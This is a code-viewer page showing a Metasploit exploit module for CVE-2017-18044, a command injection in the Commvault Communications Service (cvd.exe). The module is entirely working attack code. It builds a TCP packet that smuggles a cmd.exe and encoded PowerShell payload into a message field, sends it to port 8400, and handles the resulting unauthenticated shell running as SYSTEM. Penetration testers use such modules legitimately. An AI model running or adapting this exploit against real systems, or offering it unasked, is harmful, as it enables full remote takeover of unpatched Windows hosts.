Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/commvault_cmd_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = GoodRanking8include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Powershell1011def initialize(info={})12super(update_info(info,13'Name' => 'Commvault Communications Service (cvd) Command Injection',14'Description' => %q{15This module exploits a command injection vulnerability16discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP517and v10). The vulnerability exists in the cvd.exe service and allows an18attacker to execute arbitrary commands in the context of the service. By19default, the Commvault Communications service installs and runs as SYSTEM in20Windows and does not require authentication. This vulnerability was discovered21in the Windows version. The Linux version wasn't tested.22},23'License' => MSF_LICENSE,24'Author' =>25[26'b0yd', # @rwincey / Vulnerability Discovery and MSF module author27],28'References' =>29[30['CVE', '2017-18044'],31['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']32],33'Platform' => 'win',34'Targets' =>35[36[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',37{38'Arch' => [ARCH_X64, ARCH_X86]39}40],41],42'Privileged' => true,43'DefaultTarget' => 0,44'DisclosureDate' => '2017-12-12'))4546register_options([Opt::RPORT(8400)])4748end4950def exploit5152buf = build_exploit53print_status("Connecting to Commvault Communications Service.")54connect55print_status("Executing payload")56#Send the payload57sock.put(buf)58#Handle the shell59handler60disconnect6162end636465def build_exploit6667#Get encoded powershell of payload68command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')69#Remove additional cmd.exe call70psh = "powershell"71idx = command.index(psh)72command = command[(idx)..-1]7374#Build packet75cmd_path = 'C:\Windows\System32\cmd.exe'76msg_type = 977zero = 078payload = ""79payload += make_nops(8)80payload += [msg_type].pack('I>')81payload += make_nops(328)82payload += cmd_path83payload += ";"84payload += ' /c "'85payload += command86payload += '" && echo '87payload += "\x00"88payload += [zero].pack('I>')8990#Add length header and payload91ret_data = [payload.length].pack('I>')92ret_data += payload9394ret_data9596end97end9899100